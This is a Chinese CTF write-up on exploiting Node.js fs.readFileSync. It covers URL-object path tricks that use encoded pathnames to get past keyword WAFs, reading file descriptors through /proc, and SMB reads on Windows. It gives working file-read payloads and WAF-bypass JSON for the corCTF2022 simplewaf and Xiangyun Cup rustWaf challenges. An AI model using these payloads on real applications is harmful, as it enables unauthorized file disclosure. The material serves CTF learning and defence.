fs.readFileSync的利用
字数 1858 2025-08-06 18:07:51

fs.readFileSync 的利用方法深度解析

0x00 前言

本文详细分析 Node.js 中 fs.readFileSync 函数的特殊利用方法,这些技术在 corCTF2022-simplewaf 和 2022 祥云杯-RustWaf 等 CTF 比赛中出现。实际上,这些利用方法的核心在于 fs.openSync 函数的行为。

0x01 函数基础

fs.readFileSync 官方文档要点

fs.readFileSync 支持四种路径格式:

  1. 字符串类型 - 常规文件名指定方式
  2. Buffer 类型 - buffer 缓冲区
  3. Int 整型 - 读取对应的文件描述符
  4. URL 类型 - URL 对象或对应格式的数组

函数执行流程

  1. 检查传入的 path 是否为文件描述符(Int)
  2. 如果不是则通过 fs.openSync 打开文件获取文件描述符
  3. 获取文件属性信息
  4. 检查是否为常规文件并获取大小
  5. 创建读取缓冲区
  6. 读取文件内容
  7. 关闭文件描述符
  8. 返回读取内容

0x02 URL 数组绕过关键字

关键点分析

利用的核心在于 fs.openSync 处理 URL 类型路径时的解析过程,特别是 getValidatedPathfileURLToPath 函数的行为。

fileURLToPath 关键逻辑

  1. 检查 fileURLOrPath 对象:
    • 不能为空
    • 必须包含 href 属性
    • 必须包含 origin 属性
  2. 如果满足条件,将对象视为 URL 对象处理
  3. 检查 protocol 必须为 file:
  4. 根据操作系统调用 getPathFromURLWin32getPathFromURLPosix

getPathFromURLPosix (Linux)

  1. url.hostname 必须为空
  2. url.pathname 不能包含 %2f%2F%5c%5C
  3. 使用 decodeURIComponent 解析 pathname

getPathFromURLWin32 (Windows)

  1. pathname 不能包含 \/ 的 URL 编码
  2. pathname 中的 / 替换为 \
  3. 使用 decodeURIComponent 解码
  4. 如果 hostname 非空,返回 \\${domainToUnicode(hostname)}${pathname}
  5. 对于本地路径:
    • 第二个字符必须是字母 a-zA-Z
    • 第三个字符必须是 :
    • 丢弃第一个字符作为文件路径

绕过方法

构造满足以下条件的对象:

  • 包含 href 且非空
  • 包含 origin 且非空
  • protocol 等于 file:
  • hostname 为空(Windows 下非空会进行远程加载)
  • pathname 非空(读取的文件路径)

利用 pathname 会被 URL 解码的特性,可以使用 URL 编码绕过关键字检测(但不能包含 \/ 的 URL 编码)。

示例

{
    "protocol": "file:",
    "href": "1",
    "origin": "1",
    "pathname": "/%66%6c%61%67",
    "hostname": ""
}

0x03 文件描述符读取

利用原理

  1. 文件打开后会在 /proc 下生成文件描述符
  2. 可以直接传入 Int 类型读取对应的描述符资源
  3. 利用条件竞争可以访问临时打开的文件

示例代码

const fs = require("fs")

while(1){
    console.log("Start---");
    console.log(fs.readdirSync("/proc/self/fd"));
    console.log(fs.readFileSync("/proc/self/status").toString());
}

0x04 读取远程文件

Windows 下的 SMB 文件读取

  1. 通过 URL 数组格式或 String 格式均可读取
  2. 需要目标开启 SMB 服务

示例

const fs = require("fs");

// String 格式
console.log(fs.readFileSync("\\\\192.168.92.128/evilsmb/flag").toString())

// URL 对象格式
var file = {
    "protocol": "file:",
    "href": "1",
    "origin": "1",
    "pathname": "/evilsmb/flag",
    "hostname": "192.168.92.128"
};
console.log(fs.readFileSync(file).toString())

Linux 下的限制

  1. URL 对象不允许定义 hostname
  2. 直接指定 SMB 文件路径也会失败
  3. 可能与 Linux 默认不支持 SMB 访问有关

0x05 实际应用案例

corCTF2022-simplewaf

题目代码

app.get("/", (req, res) => {
    try {
        res.setHeader("Content-Type", "text/html");
        res.send(fs.readFileSync(req.query.file || "index.html").toString());       
    }
    catch(err) {
        console.log(err);
    }
});

WAF 限制

if([req.body, req.headers, req.query].some(
    (item) => item && JSON.stringify(item).includes("flag")
)) {
    return res.send("bad hacker!");
}

Payload

?file[href]=a&file[origin]=1&file[protocol]=file:&file[hostname]=&file[pathname]=/app/%66%6c%61%67.txt

2022 祥云杯-rustWaf

题目代码

let body = req.body.toString();
let file_to_read = "app.js";
const file = execFileSync('./rust-waf', [body], {
    encoding: 'utf-8'
}).trim();
try {
    file_to_read = JSON.parse(file)
} catch (e){
    file_to_read = file
}
let data = fs.readFileSync(file_to_read);

Rust WAF 限制

if body.to_lowercase().contains("flag") || body.to_lowercase().contains("proc") {
    return String::from("./main.rs");
}
if let Ok(json_body) = serde_json::from_str::<Value>(body) {
    if json_body_obj.keys().any(|key| key == "protocol") {
        return String::from("./main.rs");
    }
}

绕过方法

  1. 利用 UTF-16 编码差异
{
    "protocol": "file:",
    "\uD800": "",
    "href": "1",
    "origin": "1",
    "pathname": "/%66%6c%61%67",
    "hostname": ""
}
  1. 利用数组结构
[
    "file:",
    "1",
    "1",
    "/%66%6c%61%67",
    ""
]
  1. 二次 Unicode 编码
{
    "protocol": "file:",
    "\uD800": "",
    "href": "1",
    "origin": "1",
    "pathname": "/\u0066\u006c\u0061\u0067",
    "hostname": ""
}
  1. 数组+Unicode
[
    "file:",
    "1",
    "1",
    "/\u0066\u006c\u0061\u0067",
    ""
]

总结

  1. URL 解码绕过关键字:利用 pathname 的 URL 解码特性
  2. 文件描述符读取:通过 /proc 文件系统或直接传入描述符
  3. 远程文件读取:Windows 下通过 SMB 协议
  4. 实际应用中需要考虑 WAF 的差异和绕过方法

这些技术在实际渗透测试和 CTF 比赛中都有应用价值,理解其原理可以更好地防御此类攻击。

fs.readFileSync 的利用方法深度解析 0x00 前言 本文详细分析 Node.js 中 fs.readFileSync 函数的特殊利用方法,这些技术在 corCTF2022-simplewaf 和 2022 祥云杯-RustWaf 等 CTF 比赛中出现。实际上,这些利用方法的核心在于 fs.openSync 函数的行为。 0x01 函数基础 fs.readFileSync 官方文档要点 fs.readFileSync 支持四种路径格式: 字符串类型 - 常规文件名指定方式 Buffer 类型 - buffer 缓冲区 Int 整型 - 读取对应的文件描述符 URL 类型 - URL 对象或对应格式的数组 函数执行流程 检查传入的 path 是否为文件描述符(Int) 如果不是则通过 fs.openSync 打开文件获取文件描述符 获取文件属性信息 检查是否为常规文件并获取大小 创建读取缓冲区 读取文件内容 关闭文件描述符 返回读取内容 0x02 URL 数组绕过关键字 关键点分析 利用的核心在于 fs.openSync 处理 URL 类型路径时的解析过程,特别是 getValidatedPath 和 fileURLToPath 函数的行为。 fileURLToPath 关键逻辑 检查 fileURLOrPath 对象: 不能为空 必须包含 href 属性 必须包含 origin 属性 如果满足条件,将对象视为 URL 对象处理 检查 protocol 必须为 file: 根据操作系统调用 getPathFromURLWin32 或 getPathFromURLPosix getPathFromURLPosix (Linux) url.hostname 必须为空 url.pathname 不能包含 %2f 、 %2F 、 %5c 或 %5C 使用 decodeURIComponent 解析 pathname getPathFromURLWin32 (Windows) pathname 不能包含 \ 或 / 的 URL 编码 将 pathname 中的 / 替换为 \ 使用 decodeURIComponent 解码 如果 hostname 非空,返回 \\${domainToUnicode(hostname)}${pathname} 对于本地路径: 第二个字符必须是字母 a-zA-Z 第三个字符必须是 : 丢弃第一个字符作为文件路径 绕过方法 构造满足以下条件的对象: 包含 href 且非空 包含 origin 且非空 protocol 等于 file: hostname 为空(Windows 下非空会进行远程加载) pathname 非空(读取的文件路径) 利用 pathname 会被 URL 解码的特性,可以使用 URL 编码绕过关键字检测(但不能包含 \/ 的 URL 编码)。 示例 : 0x03 文件描述符读取 利用原理 文件打开后会在 /proc 下生成文件描述符 可以直接传入 Int 类型读取对应的描述符资源 利用条件竞争可以访问临时打开的文件 示例代码 0x04 读取远程文件 Windows 下的 SMB 文件读取 通过 URL 数组格式或 String 格式均可读取 需要目标开启 SMB 服务 示例 : Linux 下的限制 URL 对象不允许定义 hostname 直接指定 SMB 文件路径也会失败 可能与 Linux 默认不支持 SMB 访问有关 0x05 实际应用案例 corCTF2022-simplewaf 题目代码 : WAF 限制 : Payload : 2022 祥云杯-rustWaf 题目代码 : Rust WAF 限制 : 绕过方法 : 利用 UTF-16 编码差异 : 利用数组结构 : 二次 Unicode 编码 : 数组+Unicode : 总结 URL 解码绕过关键字:利用 pathname 的 URL 解码特性 文件描述符读取:通过 /proc 文件系统或直接传入描述符 远程文件读取:Windows 下通过 SMB 协议 实际应用中需要考虑 WAF 的差异和绕过方法 这些技术在实际渗透测试和 CTF 比赛中都有应用价值,理解其原理可以更好地防御此类攻击。